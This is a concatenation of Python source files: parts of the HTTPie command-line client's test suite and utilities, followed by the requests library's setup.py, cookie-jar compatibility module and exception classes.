        assert '"baz": "bar"' in r

    def test_verbose_implies_all(self, httpbin):
        r = http('--verbose', '--follow', httpbin + '/redirect/1')
        assert 'GET /redirect/1 HTTP/1.1' in r
        assert 'HTTP/1.1 302 FOUND' in r
        assert 'GET /get HTTP/1.1' in r
        assert HTTP_OK in r


class TestColors:

    @pytest.mark.parametrize(
        argnames=['mime', 'explicit_json', 'body', 'expected_lexer_name'],
        argvalues=[
            ('application/json',     False, None, 'JSON'),
            ('application/json+foo', False, None, 'JSON'),
            ('application/foo+json', False, None, 'JSON'),
            ('application/json-foo', False, None, 'JSON'),
            ('application/x-json',   False, None, 'JSON'),
            ('foo/json',             False, None, 'JSON'),
            ('foo/json+bar',         False, None, 'JSON'),
            ('foo/bar+json',         False, None, 'JSON'),
            ('foo/json-foo',         False, None, 'JSON'),
            ('foo/x-json',           False, None, 'JSON'),
            ('application/vnd.comverge.grid+hal+json', False, None, 'JSON'),
            ('text/plain',           True, '{}', 'JSON'),
            ('text/plain',           True, 'foo', 'Text only'),
        ]
    )
    def test_get_lexer(self, mime, explicit_json, body, expected_lexer_name):
        lexer = get_lexer(mime, body=body, explicit_json=explicit_json)
        assert lexer is not None
        assert lexer.name == expected_lexer_name

    def test_get_lexer_not_found(self):
        assert get_lexer('xxx/yyy') is None


class TestPrettyOptions:
    """Test the --pretty flag handling."""

    def test_pretty_enabled_by_default(self, httpbin):
        env = TestEnvironment(colors=256)
        r = http('GET', httpbin.url + '/get', env=env)
        assert COLOR in r

    def test_pretty_enabled_by_default_unless_stdout_redirected(self, httpbin):
        r = http('GET', httpbin.url + '/get')
        assert COLOR not in r

    def test_force_pretty(self, httpbin):
        env = TestEnvironment(stdout_isatty=False, colors=256)
        r = http('--pretty=all', 'GET', httpbin.url + '/get', env=env, )
        assert COLOR in r

    def test_force_ugly(self, httpbin):
        r = http('--pretty=none', 'GET', httpbin.url + '/get')
        assert COLOR not in r

    def test_subtype_based_pygments_lexer_match(self, httpbin):
        """Test that media subtype is used if type/subtype doesn't
        match any lexer.

        """
        env = TestEnvironment(colors=256)
        r = http('--print=B', '--pretty=all', httpbin.url + '/post',
                 'Content-Type:text/foo+json', 'a=b', env=env)
        assert COLOR in r

    def test_colors_option(self, httpbin):
        env = TestEnvironment(colors=256)
        r = http('--print=B', '--pretty=colors',
                 'GET', httpbin.url + '/get', 'a=b',
                 env=env)
        # Tests that the JSON data isn't formatted.
        assert not r.strip().count('\n')
        assert COLOR in r

    def test_format_option(self, httpbin):
        env = TestEnvironment(colors=256)
        r = http('--print=B', '--pretty=format',
                 'GET', httpbin.url + '/get', 'a=b',
                 env=env)
        # Tests that the JSON data is formatted.
        assert r.strip().count('\n') == 2
        assert COLOR not in r


class TestLineEndings:
    """
    Test that CRLF is properly used in headers
    and as the headers/body separator.

    """
    def _validate_crlf(self, msg):
        lines = iter(msg.splitlines(True))
        for header in lines:
            if header == CRLF:
                break
            assert header.endswith(CRLF), repr(header)
        else:
            assert 0, 'CRLF between headers and body not found in %r' % msg
        body = ''.join(lines)
        assert CRLF not in body
        return body

    def test_CRLF_headers_only(self, httpbin):
        r = http('--headers', 'GET', httpbin.url + '/get')
        body = self._validate_crlf(r)
        assert not body, 'Garbage after headers: %r' % r

    def test_CRLF_ugly_response(self, httpbin):
        r = http('--pretty=none', 'GET', httpbin.url + '/get')
        self._validate_crlf(r)

    def test_CRLF_formatted_response(self, httpbin):
        r = http('--pretty=format', 'GET', httpbin.url + '/get')
        assert r.exit_status == ExitStatus.OK
        self._validate_crlf(r)

    def test_CRLF_ugly_request(self, httpbin):
        r = http('--pretty=none', '--print=HB', 'GET', httpbin.url + '/get')
        self._validate_crlf(r)

    def test_CRLF_formatted_request(self, httpbin):
        r = http('--pretty=format', '--print=HB', 'GET', httpbin.url + '/get')
        self._validate_crlf(r)






# coding=utf-8
"""Utilities for HTTPie test suite."""
import os
import sys
import time
import json
import tempfile

from httpie import ExitStatus, EXIT_STATUS_LABELS
from httpie.context import Environment
from httpie.core import main
from httpie.compat import bytes, str


TESTS_ROOT = os.path.abspath(os.path.dirname(__file__))
CRLF = '\r\n'
COLOR = '\x1b['
HTTP_OK = '200 OK'
HTTP_OK_COLOR = (
    'HTTP\x1b[39m\x1b[38;5;245m/\x1b[39m\x1b'
    '[38;5;37m1.1\x1b[39m\x1b[38;5;245m \x1b[39m\x1b[38;5;37m200'
    '\x1b[39m\x1b[38;5;245m \x1b[39m\x1b[38;5;136mOK'
)


def mk_config_dir():
    dirname = tempfile.mkdtemp(prefix='httpie_config_')
    return dirname


def add_auth(url, auth):
    proto, rest = url.split('://', 1)
    return proto + '://' + auth + '@' + rest


class TestEnvironment(Environment):
    """Environment subclass with reasonable defaults for testing."""
    colors = 0
    stdin_isatty = True,
    stdout_isatty = True
    is_windows = False

    def __init__(self, **kwargs):
        if 'stdout' not in kwargs:
            kwargs['stdout'] = tempfile.TemporaryFile(
                mode='w+b',
                prefix='httpie_stdout'
            )
        if 'stderr' not in kwargs:
            kwargs['stderr'] = tempfile.TemporaryFile(
                mode='w+t',
                prefix='httpie_stderr'
            )
        super(TestEnvironment, self).__init__(**kwargs)
        self._delete_config_dir = False

    @property
    def config(self):
        if not self.config_dir.startswith(tempfile.gettempdir()):
            self.config_dir = mk_config_dir()
            self._delete_config_dir = True
        return super(TestEnvironment, self).config

    def cleanup(self):
        if self._delete_config_dir:
            assert self.config_dir.startswith(tempfile.gettempdir())
            from shutil import rmtree
            rmtree(self.config_dir)

    def __del__(self):
        try:
            self.cleanup()
        except Exception:
            pass


class BaseCLIResponse(object):
    """
    Represents the result of simulated `$ http' invocation  via `http()`.

    Holds and provides access to:

        - stdout output: print(self)
        - stderr output: print(self.stderr)
        - exit_status output: print(self.exit_status)

    """
    stderr = None
    json = None
    exit_status = None


class BytesCLIResponse(bytes, BaseCLIResponse):
    """
    Used as a fallback when a StrCLIResponse cannot be used.

    E.g. when the output contains binary data or when it is colorized.

    `.json` will always be None.

    """


class StrCLIResponse(str, BaseCLIResponse):

    @property
    def json(self):
        """
        Return deserialized JSON body, if one included in the output
        and is parseable.

        """
        if not hasattr(self, '_json'):
            self._json = None
            # De-serialize JSON body if possible.
            if COLOR in self:
                # Colorized output cannot be parsed.
                pass
            elif self.strip().startswith('{'):
                # Looks like JSON body.
                self._json = json.loads(self)
            elif (self.count('Content-Type:') == 1 and
                    'application/json' in self):
                # Looks like a whole JSON HTTP message,
                # try to extract its body.
                try:
                    j = self.strip()[self.strip().rindex('\r\n\r\n'):]
                except ValueError:
                    pass
                else:
                    try:
                        self._json = json.loads(j)
                    except ValueError:
                        pass
        return self._json


class ExitStatusError(Exception):
    pass


def http(*args, **kwargs):
    # noinspection PyUnresolvedReferences
    """
    Run HTTPie and capture stderr/out and exit status.

    Invoke `httpie.core.main()` with `args` and `kwargs`,
    and return a `CLIResponse` subclass instance.

    The return value is either a `StrCLIResponse`, or `BytesCLIResponse`
    if unable to decode the output.

    The response has the following attributes:

        `stdout` is represented by the instance itself (print r)
        `stderr`: text written to stderr
        `exit_status`: the exit status
        `json`: decoded JSON (if possible) or `None`

    Exceptions are propagated.

    If you pass ``error_exit_ok=True``, then error exit statuses
    won't result into an exception.

    Example:

    $ http --auth=user:password GET httpbin.org/basic-auth/user/password

        >>> httpbin = getfixture('httpbin')
        >>> r = http('-a', 'user:pw', httpbin.url + '/basic-auth/user/pw')
        >>> type(r) == StrCLIResponse
        True
        >>> r.exit_status
        0
        >>> r.stderr
        ''
        >>> 'HTTP/1.1 200 OK' in r
        True
        >>> r.json == {'authenticated': True, 'user': 'user'}
        True

    """
    error_exit_ok = kwargs.pop('error_exit_ok', False)
    env = kwargs.get('env')
    if not env:
        env = kwargs['env'] = TestEnvironment()

    stdout = env.stdout
    stderr = env.stderr

    args = list(args)
    args_with_config_defaults = args + env.config.default_options
    add_to_args = []
    if '--debug' not in args_with_config_defaults:
        if '--traceback' not in args_with_config_defaults:
            add_to_args.append('--traceback')
        if not any('--timeout' in arg for arg in args_with_config_defaults):
            add_to_args.append('--timeout=3')
    args = add_to_args + args

    def dump_stderr():
        stderr.seek(0)
        sys.stderr.write(stderr.read())

    try:
        try:
            exit_status = main(args=args, **kwargs)
            if '--download' in args:
                # Let the progress reporter thread finish.
                time.sleep(.5)
        except SystemExit:
            if error_exit_ok:
                exit_status = ExitStatus.ERROR
            else:
                dump_stderr()
                raise
        except Exception:
            stderr.seek(0)
            sys.stderr.write(stderr.read())
            raise
        else:
            if not error_exit_ok and exit_status != ExitStatus.OK:
                dump_stderr()
                raise ExitStatusError(
                    'httpie.core.main() unexpectedly returned'
                    ' a non-zero exit status: {0} ({1})'.format(
                        exit_status,
                        EXIT_STATUS_LABELS[exit_status]
                    )
                )

        stdout.seek(0)
        stderr.seek(0)
        output = stdout.read()
        try:
            output = output.decode('utf8')
        except UnicodeDecodeError:
            # noinspection PyArgumentList
            r = BytesCLIResponse(output)
        else:
            # noinspection PyArgumentList
            r = StrCLIResponse(output)
        r.stderr = stderr.read()
        r.exit_status = exit_status

        if r.exit_status != ExitStatus.OK:
            sys.stderr.write(r.stderr)

        return r

    finally:
        stdout.close()
        stderr.close()
        env.cleanup()






"""Miscellaneous regression tests"""
import pytest

from utils import http, HTTP_OK
from httpie.compat import is_windows


def test_Host_header_overwrite(httpbin):
    """
    https://github.com/jkbrzt/httpie/issues/235

    """
    host = 'httpbin.org'
    url = httpbin.url + '/get'
    r = http('--print=hH', url, 'host:{0}'.format(host))
    assert HTTP_OK in r
    assert r.lower().count('host:') == 1
    assert 'host: {0}'.format(host) in r


@pytest.mark.skipif(is_windows, reason='Unix-only')
def test_output_devnull(httpbin):
    """
    https://github.com/jkbrzt/httpie/issues/252

    """
    http('--output=/dev/null', httpbin + '/get')






import pytest
from pytest_httpbin.plugin import httpbin_ca_bundle


# Make httpbin's CA trusted by default
pytest.fixture(autouse=True)(httpbin_ca_bundle)


@pytest.fixture(scope='function')
def httpbin_secure_untrusted(monkeypatch, httpbin_secure):
    """Like the `httpbin_secure` fixture, but without the
    make-CA-trusted-by-default"""
    monkeypatch.delenv('REQUESTS_CA_BUNDLE')
    return httpbin_secure






import os

import pytest

from httpie.input import ParseError
from utils import TestEnvironment, http, HTTP_OK
from fixtures import FILE_PATH_ARG, FILE_PATH, FILE_CONTENT


class TestMultipartFormDataFileUpload:

    def test_non_existent_file_raises_parse_error(self, httpbin):
        with pytest.raises(ParseError):
            http('--form',
                 'POST', httpbin.url + '/post', 'foo@/__does_not_exist__')

    def test_upload_ok(self, httpbin):
        r = http('--form', '--verbose', 'POST', httpbin.url + '/post',
                 'test-file@%s' % FILE_PATH_ARG, 'foo=bar')
        assert HTTP_OK in r
        assert 'Content-Disposition: form-data; name="foo"' in r
        assert 'Content-Disposition: form-data; name="test-file";' \
               ' filename="%s"' % os.path.basename(FILE_PATH) in r
        assert FILE_CONTENT in r
        assert '"foo": "bar"' in r
        assert 'Content-Type: text/plain' in r

    def test_upload_multiple_fields_with_the_same_name(self, httpbin):
        r = http('--form', '--verbose', 'POST', httpbin.url + '/post',
                 'test-file@%s' % FILE_PATH_ARG,
                 'test-file@%s' % FILE_PATH_ARG)
        assert HTTP_OK in r
        assert r.count('Content-Disposition: form-data; name="test-file";'
                       ' filename="%s"' % os.path.basename(FILE_PATH)) == 2
        # Should be 4, but is 3 because httpbin
        # doesn't seem to support filed field lists
        assert r.count(FILE_CONTENT) in [3, 4]
        assert r.count('Content-Type: text/plain') == 2


class TestRequestBodyFromFilePath:
    """
    `http URL @file'

    """

    def test_request_body_from_file_by_path(self, httpbin):
        r = http('--verbose',
                 'POST', httpbin.url + '/post', '@' + FILE_PATH_ARG)
        assert HTTP_OK in r
        assert FILE_CONTENT in r, r
        assert '"Content-Type": "text/plain"' in r

    def test_request_body_from_file_by_path_with_explicit_content_type(
            self, httpbin):
        r = http('--verbose',
                 'POST', httpbin.url + '/post', '@' + FILE_PATH_ARG,
                 'Content-Type:text/plain; charset=utf8')
        assert HTTP_OK in r
        assert FILE_CONTENT in r
        assert 'Content-Type: text/plain; charset=utf8' in r

    def test_request_body_from_file_by_path_no_field_name_allowed(
            self, httpbin):
        env = TestEnvironment(stdin_isatty=True)
        r = http('POST', httpbin.url + '/post', 'field-name@' + FILE_PATH_ARG,
                 env=env, error_exit_ok=True)
        assert 'perhaps you meant --form?' in r.stderr

    def test_request_body_from_file_by_path_no_data_items_allowed(
            self, httpbin):
        env = TestEnvironment(stdin_isatty=False)
        r = http('POST', httpbin.url + '/post', '@' + FILE_PATH_ARG, 'foo=bar',
                 env=env, error_exit_ok=True)
        assert 'cannot be mixed' in r.stderr






"""Test data"""
from os import path
import codecs


def patharg(path):
    """
    Back slashes need to be escaped in ITEM args,
    even in Windows paths.

    """
    return path.replace('\\', '\\\\\\')


FIXTURES_ROOT = path.join(path.abspath(path.dirname(__file__)))
FILE_PATH = path.join(FIXTURES_ROOT, 'test.txt')
JSON_FILE_PATH = path.join(FIXTURES_ROOT, 'test.json')
BIN_FILE_PATH = path.join(FIXTURES_ROOT, 'test.bin')


FILE_PATH_ARG = patharg(FILE_PATH)
BIN_FILE_PATH_ARG = patharg(BIN_FILE_PATH)
JSON_FILE_PATH_ARG = patharg(JSON_FILE_PATH)


with codecs.open(FILE_PATH, encoding='utf8') as f:
    # Strip because we don't want new lines in the data so that we can
    # easily count occurrences also when embedded in JSON (where the new
    # line would be escaped).
    FILE_CONTENT = f.read().strip()


with codecs.open(JSON_FILE_PATH, encoding='utf8') as f:
    JSON_FILE_CONTENT = f.read()


with open(BIN_FILE_PATH, 'rb') as f:
    BIN_FILE_CONTENT = f.read()

UNICODE = FILE_CONTENT






#!/usr/bin/env python

import os
import re
import sys

from codecs import open

from setuptools import setup
from setuptools.command.test import test as TestCommand


class PyTest(TestCommand):
    user_options = [('pytest-args=', 'a', "Arguments to pass into py.test")]

    def initialize_options(self):
        TestCommand.initialize_options(self)
        self.pytest_args = []

    def finalize_options(self):
        TestCommand.finalize_options(self)
        self.test_args = []
        self.test_suite = True

    def run_tests(self):
        import pytest

        errno = pytest.main(self.pytest_args)
        sys.exit(errno)


if sys.argv[-1] == 'publish':
    os.system('python setup.py sdist upload')
    sys.exit()

packages = [
    'requests',
    'requests.packages',
    'requests.packages.chardet',
    'requests.packages.urllib3',
    'requests.packages.urllib3.packages',
    'requests.packages.urllib3.contrib',
    'requests.packages.urllib3.util',
    'requests.packages.urllib3.packages.ssl_match_hostname',
]

requires = []
test_requirements = ['pytest>=2.8.0', 'pytest-httpbin==0.0.7', 'pytest-cov']

with open('requests/__init__.py', 'r') as fd:
    version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]',
                        fd.read(), re.MULTILINE).group(1)

if not version:
    raise RuntimeError('Cannot find version information')

with open('README.rst', 'r', 'utf-8') as f:
    readme = f.read()
with open('HISTORY.rst', 'r', 'utf-8') as f:
    history = f.read()

setup(
    name='requests',
    version=version,
    description='Python HTTP for Humans.',
    long_description=readme + '\n\n' + history,
    author='Kenneth Reitz',
    author_email='me@kennethreitz.com',
    url='http://python-requests.org',
    packages=packages,
    package_data={'': ['LICENSE', 'NOTICE'], 'requests': ['*.pem']},
    package_dir={'requests': 'requests'},
    include_package_data=True,
    install_requires=requires,
    license='Apache 2.0',
    zip_safe=False,
    classifiers=(
        'Development Status :: 5 - Production/Stable',
        'Intended Audience :: Developers',
        'Natural Language :: English',
        'License :: OSI Approved :: Apache Software License',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: Implementation :: CPython',
        'Programming Language :: Python :: Implementation :: PyPy'
    ),
    cmdclass={'test': PyTest},
    tests_require=test_requirements,
    extras_require={
        'security': ['pyOpenSSL>=0.13', 'ndg-httpsclient', 'pyasn1'],
        'socks': ['PySocks>=1.5.6'],
    },
)






# -*- coding: utf-8 -*-

"""
requests.cookies
~~~~~~~~~~~~~~~~

Compatibility code to be able to use `cookielib.CookieJar` with requests.

requests.utils imports from here, so be careful with imports.
"""

import copy
import time
import calendar
import collections
from .compat import cookielib, urlparse, urlunparse, Morsel

try:
    import threading
    # grr, pyflakes: this fixes "redefinition of unused 'threading'"
    threading
except ImportError:
    import dummy_threading as threading


class MockRequest(object):
    """Wraps a `requests.Request` to mimic a `urllib2.Request`.

    The code in `cookielib.CookieJar` expects this interface in order to correctly
    manage cookie policies, i.e., determine whether a cookie can be set, given the
    domains of the request and the cookie.

    The original request object is read-only. The client is responsible for collecting
    the new headers via `get_new_headers()` and interpreting them appropriately. You
    probably want `get_cookie_header`, defined below.
    """

    def __init__(self, request):
        self._r = request
        self._new_headers = {}
        self.type = urlparse(self._r.url).scheme

    def get_type(self):
        return self.type

    def get_host(self):
        return urlparse(self._r.url).netloc

    def get_origin_req_host(self):
        return self.get_host()

    def get_full_url(self):
        # Only return the response's URL if the user hadn't set the Host
        # header
        if not self._r.headers.get('Host'):
            return self._r.url
        # If they did set it, retrieve it and reconstruct the expected domain
        host = self._r.headers['Host']
        parsed = urlparse(self._r.url)
        # Reconstruct the URL as we expect it
        return urlunparse([
            parsed.scheme, host, parsed.path, parsed.params, parsed.query,
            parsed.fragment
        ])

    def is_unverifiable(self):
        return True

    def has_header(self, name):
        return name in self._r.headers or name in self._new_headers

    def get_header(self, name, default=None):
        return self._r.headers.get(name, self._new_headers.get(name, default))

    def add_header(self, key, val):
        """cookielib has no legitimate use for this method; add it back if you find one."""
        raise NotImplementedError("Cookie headers should be added with add_unredirected_header()")

    def add_unredirected_header(self, name, value):
        self._new_headers[name] = value

    def get_new_headers(self):
        return self._new_headers

    @property
    def unverifiable(self):
        return self.is_unverifiable()

    @property
    def origin_req_host(self):
        return self.get_origin_req_host()

    @property
    def host(self):
        return self.get_host()


class MockResponse(object):
    """Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`.

    ...what? Basically, expose the parsed HTTP headers from the server response
    the way `cookielib` expects to see them.
    """

    def __init__(self, headers):
        """Make a MockResponse for `cookielib` to read.

        :param headers: a httplib.HTTPMessage or analogous carrying the headers
        """
        self._headers = headers

    def info(self):
        return self._headers

    def getheaders(self, name):
        self._headers.getheaders(name)


def extract_cookies_to_jar(jar, request, response):
    """Extract the cookies from the response into a CookieJar.

    :param jar: cookielib.CookieJar (not necessarily a RequestsCookieJar)
    :param request: our own requests.Request object
    :param response: urllib3.HTTPResponse object
    """
    if not (hasattr(response, '_original_response') and
            response._original_response):
        return
    # the _original_response field is the wrapped httplib.HTTPResponse object,
    req = MockRequest(request)
    # pull out the HTTPMessage with the headers and put it in the mock:
    res = MockResponse(response._original_response.msg)
    jar.extract_cookies(res, req)


def get_cookie_header(jar, request):
    """
    Produce an appropriate Cookie header string to be sent with `request`, or None.

    :rtype: str
    """
    r = MockRequest(request)
    jar.add_cookie_header(r)
    return r.get_new_headers().get('Cookie')


def remove_cookie_by_name(cookiejar, name, domain=None, path=None):
    """Unsets a cookie by name, by default over all domains and paths.

    Wraps CookieJar.clear(), is O(n).
    """
    clearables = []
    for cookie in cookiejar:
        if cookie.name != name:
            continue
        if domain is not None and domain != cookie.domain:
            continue
        if path is not None and path != cookie.path:
            continue
        clearables.append((cookie.domain, cookie.path, cookie.name))

    for domain, path, name in clearables:
        cookiejar.clear(domain, path, name)


class CookieConflictError(RuntimeError):
    """There are two cookies that meet the criteria specified in the cookie jar.
    Use .get and .set and include domain and path args in order to be more specific.
    """


class RequestsCookieJar(cookielib.CookieJar, collections.MutableMapping):
    """Compatibility class; is a cookielib.CookieJar, but exposes a dict
    interface.

    This is the CookieJar we create by default for requests and sessions that
    don't specify one, since some clients may expect response.cookies and
    session.cookies to support dict operations.

    Requests does not use the dict interface internally; it's just for
    compatibility with external client code. All requests code should work
    out of the box with externally provided instances of ``CookieJar``, e.g.
    ``LWPCookieJar`` and ``FileCookieJar``.

    Unlike a regular CookieJar, this class is pickleable.

    .. warning:: dictionary operations that are normally O(1) may be O(n).
    """

    def get(self, name, default=None, domain=None, path=None):
        """Dict-like get() that also supports optional domain and path args in
        order to resolve naming collisions from using one cookie jar over
        multiple domains.

        .. warning:: operation is O(n), not O(1).
        """
        try:
            return self._find_no_duplicates(name, domain, path)
        except KeyError:
            return default

    def set(self, name, value, **kwargs):
        """Dict-like set() that also supports optional domain and path args in
        order to resolve naming collisions from using one cookie jar over
        multiple domains.
        """
        # support client code that unsets cookies by assignment of a None value:
        if value is None:
            remove_cookie_by_name(self, name, domain=kwargs.get('domain'), path=kwargs.get('path'))
            return

        if isinstance(value, Morsel):
            c = morsel_to_cookie(value)
        else:
            c = create_cookie(name, value, **kwargs)
        self.set_cookie(c)
        return c

    def iterkeys(self):
        """Dict-like iterkeys() that returns an iterator of names of cookies
        from the jar.

        .. seealso:: itervalues() and iteritems().
        """
        for cookie in iter(self):
            yield cookie.name

    def keys(self):
        """Dict-like keys() that returns a list of names of cookies from the
        jar.

        .. seealso:: values() and items().
        """
        return list(self.iterkeys())

    def itervalues(self):
        """Dict-like itervalues() that returns an iterator of values of cookies
        from the jar.

        .. seealso:: iterkeys() and iteritems().
        """
        for cookie in iter(self):
            yield cookie.value

    def values(self):
        """Dict-like values() that returns a list of values of cookies from the
        jar.

        .. seealso:: keys() and items().
        """
        return list(self.itervalues())

    def iteritems(self):
        """Dict-like iteritems() that returns an iterator of name-value tuples
        from the jar.

        .. seealso:: iterkeys() and itervalues().
        """
        for cookie in iter(self):
            yield cookie.name, cookie.value

    def items(self):
        """Dict-like items() that returns a list of name-value tuples from the
        jar. Allows client-code to call ``dict(RequestsCookieJar)`` and get a
        vanilla python dict of key value pairs.

        .. seealso:: keys() and values().
        """
        return list(self.iteritems())

    def list_domains(self):
        """Utility method to list all the domains in the jar."""
        domains = []
        for cookie in iter(self):
            if cookie.domain not in domains:
                domains.append(cookie.domain)
        return domains

    def list_paths(self):
        """Utility method to list all the paths in the jar."""
        paths = []
        for cookie in iter(self):
            if cookie.path not in paths:
                paths.append(cookie.path)
        return paths

    def multiple_domains(self):
        """Returns True if there are multiple domains in the jar.
        Returns False otherwise.

        :rtype: bool
        """
        domains = []
        for cookie in iter(self):
            if cookie.domain is not None and cookie.domain in domains:
                return True
            domains.append(cookie.domain)
        return False  # there is only one domain in jar

    def get_dict(self, domain=None, path=None):
        """Takes as an argument an optional domain and path and returns a plain
        old Python dict of name-value pairs of cookies that meet the
        requirements.

        :rtype: dict
        """
        dictionary = {}
        for cookie in iter(self):
            if (domain is None or cookie.domain == domain) and (path is None
                                                or cookie.path == path):
                dictionary[cookie.name] = cookie.value
        return dictionary

    def __contains__(self, name):
        try:
            return super(RequestsCookieJar, self).__contains__(name)
        except CookieConflictError:
            return True

    def __getitem__(self, name):
        """Dict-like __getitem__() for compatibility with client code. Throws
        exception if there are more than one cookie with name. In that case,
        use the more explicit get() method instead.

        .. warning:: operation is O(n), not O(1).
        """
        return self._find_no_duplicates(name)

    def __setitem__(self, name, value):
        """Dict-like __setitem__ for compatibility with client code. Throws
        exception if there is already a cookie of that name in the jar. In that
        case, use the more explicit set() method instead.
        """
        self.set(name, value)

    def __delitem__(self, name):
        """Deletes a cookie given a name. Wraps ``cookielib.CookieJar``'s
        ``remove_cookie_by_name()``.
        """
        remove_cookie_by_name(self, name)

    def set_cookie(self, cookie, *args, **kwargs):
        if hasattr(cookie.value, 'startswith') and cookie.value.startswith('"') and cookie.value.endswith('"'):
            cookie.value = cookie.value.replace('\\"', '')
        return super(RequestsCookieJar, self).set_cookie(cookie, *args, **kwargs)

    def update(self, other):
        """Updates this jar with cookies from another CookieJar or dict-like"""
        if isinstance(other, cookielib.CookieJar):
            for cookie in other:
                self.set_cookie(copy.copy(cookie))
        else:
            super(RequestsCookieJar, self).update(other)

    def _find(self, name, domain=None, path=None):
        """Requests uses this method internally to get cookie values.

        If there are conflicting cookies, _find arbitrarily chooses one.
        See _find_no_duplicates if you want an exception thrown if there are
        conflicting cookies.

        :param name: a string containing name of cookie
        :param domain: (optional) string containing domain of cookie
        :param path: (optional) string containing path of cookie
        :return: cookie.value
        """
        for cookie in iter(self):
            if cookie.name == name:
                if domain is None or cookie.domain == domain:
                    if path is None or cookie.path == path:
                        return cookie.value

        raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))

    def _find_no_duplicates(self, name, domain=None, path=None):
        """Both ``__get_item__`` and ``get`` call this function: it's never
        used elsewhere in Requests.

        :param name: a string containing name of cookie
        :param domain: (optional) string containing domain of cookie
        :param path: (optional) string containing path of cookie
        :raises KeyError: if cookie is not found
        :raises CookieConflictError: if there are multiple cookies
            that match name and optionally domain and path
        :return: cookie.value
        """
        toReturn = None
        for cookie in iter(self):
            if cookie.name == name:
                if domain is None or cookie.domain == domain:
                    if path is None or cookie.path == path:
                        if toReturn is not None:  # if there are multiple cookies that meet passed in criteria
                            raise CookieConflictError('There are multiple cookies with name, %r' % (name))
                        toReturn = cookie.value  # we will eventually return this as long as no cookie conflict

        if toReturn:
            return toReturn
        raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))

    def __getstate__(self):
        """Unlike a normal CookieJar, this class is pickleable."""
        state = self.__dict__.copy()
        # remove the unpickleable RLock object
        state.pop('_cookies_lock')
        return state

    def __setstate__(self, state):
        """Unlike a normal CookieJar, this class is pickleable."""
        self.__dict__.update(state)
        if '_cookies_lock' not in self.__dict__:
            self._cookies_lock = threading.RLock()

    def copy(self):
        """Return a copy of this RequestsCookieJar."""
        new_cj = RequestsCookieJar()
        new_cj.update(self)
        return new_cj


def _copy_cookie_jar(jar):
    if jar is None:
        return None

    if hasattr(jar, 'copy'):
        # We're dealing with an instance of RequestsCookieJar
        return jar.copy()
    # We're dealing with a generic CookieJar instance
    new_jar = copy.copy(jar)
    new_jar.clear()
    for cookie in jar:
        new_jar.set_cookie(copy.copy(cookie))
    return new_jar


def create_cookie(name, value, **kwargs):
    """Make a cookie from underspecified parameters.

    By default, the pair of `name` and `value` will be set for the domain ''
    and sent on every request (this is sometimes called a "supercookie").
    """
    result = dict(
        version=0,
        name=name,
        value=value,
        port=None,
        domain='',
        path='/',
        secure=False,
        expires=None,
        discard=True,
        comment=None,
        comment_url=None,
        rest={'HttpOnly': None},
        rfc2109=False,)

    badargs = set(kwargs) - set(result)
    if badargs:
        err = 'create_cookie() got unexpected keyword arguments: %s'
        raise TypeError(err % list(badargs))

    result.update(kwargs)
    result['port_specified'] = bool(result['port'])
    result['domain_specified'] = bool(result['domain'])
    result['domain_initial_dot'] = result['domain'].startswith('.')
    result['path_specified'] = bool(result['path'])

    return cookielib.Cookie(**result)


def morsel_to_cookie(morsel):
    """Convert a Morsel object into a Cookie containing the one k/v pair."""

    expires = None
    if morsel['max-age']:
        try:
            expires = int(time.time() + int(morsel['max-age']))
        except ValueError:
            raise TypeError('max-age: %s must be integer' % morsel['max-age'])
    elif morsel['expires']:
        time_template = '%a, %d-%b-%Y %H:%M:%S GMT'
        expires = calendar.timegm(
            time.strptime(morsel['expires'], time_template)
        )
    return create_cookie(
        comment=morsel['comment'],
        comment_url=bool(morsel['comment']),
        discard=False,
        domain=morsel['domain'],
        expires=expires,
        name=morsel.key,
        path=morsel['path'],
        port=None,
        rest={'HttpOnly': morsel['httponly']},
        rfc2109=False,
        secure=bool(morsel['secure']),
        value=morsel.value,
        version=morsel['version'] or 0,
    )


def cookiejar_from_dict(cookie_dict, cookiejar=None, overwrite=True):
    """Returns a CookieJar from a key/value dictionary.

    :param cookie_dict: Dict of key/values to insert into CookieJar.
    :param cookiejar: (optional) A cookiejar to add the cookies to.
    :param overwrite: (optional) If False, will not replace cookies
        already in the jar with new ones.
    """
    if cookiejar is None:
        cookiejar = RequestsCookieJar()

    if cookie_dict is not None:
        names_from_jar = [cookie.name for cookie in cookiejar]
        for name in cookie_dict:
            if overwrite or (name not in names_from_jar):
                cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))

    return cookiejar


def merge_cookies(cookiejar, cookies):
    """Add cookies to cookiejar and returns a merged CookieJar.

    :param cookiejar: CookieJar object to add the cookies to.
    :param cookies: Dictionary or CookieJar object to be added.
    """
    if not isinstance(cookiejar, cookielib.CookieJar):
        raise ValueError('You can only merge into CookieJar')

    if isinstance(cookies, dict):
        cookiejar = cookiejar_from_dict(
            cookies, cookiejar=cookiejar, overwrite=False)
    elif isinstance(cookies, cookielib.CookieJar):
        try:
            cookiejar.update(cookies)
        except AttributeError:
            for cookie_in_jar in cookies:
                cookiejar.set_cookie(cookie_in_jar)

    return cookiejar






# -*- coding: utf-8 -*-

"""
requests.exceptions
~~~~~~~~~~~~~~~~~~~

This module contains the set of Requests' exceptions.
"""
from .packages.urllib3.exceptions import HTTPError as BaseHTTPError


class RequestException(IOError):
    """There was an ambiguous exception that occurred while handling your
    request.
    """

    def __init__(self, *args, **kwargs):
        """Initialize RequestException with `request` and `response` objects."""
        response = kwargs.pop('response', None)
        self.response = response
        self.request = kwargs.pop('request', None)
        if (response is not None and not self.request and
                hasattr(response, 'request')):
            self.request = self.response.request
        super(RequestException, self).__init__(*args, **kwargs)


class HTTPError(RequestException):
    """An HTTP error occurred."""


class ConnectionError(RequestException):
    """A Connection error occurred."""


class ProxyError(ConnectionError):
    """A proxy error occurred."""


class SSLError(ConnectionError):
    """An SSL error occurred."""


class Timeout(RequestException):
    """The request timed out.

    Catching this error will catch both
    :exc:`~requests.exceptions.ConnectTimeout` and
    :exc:`~requests.exceptions.ReadTimeout` errors.
    """


class ConnectTimeout(ConnectionError, Timeout):
    """The request timed out while trying to connect to the remote server.

    Requests that produced this error are safe to retry.
    """


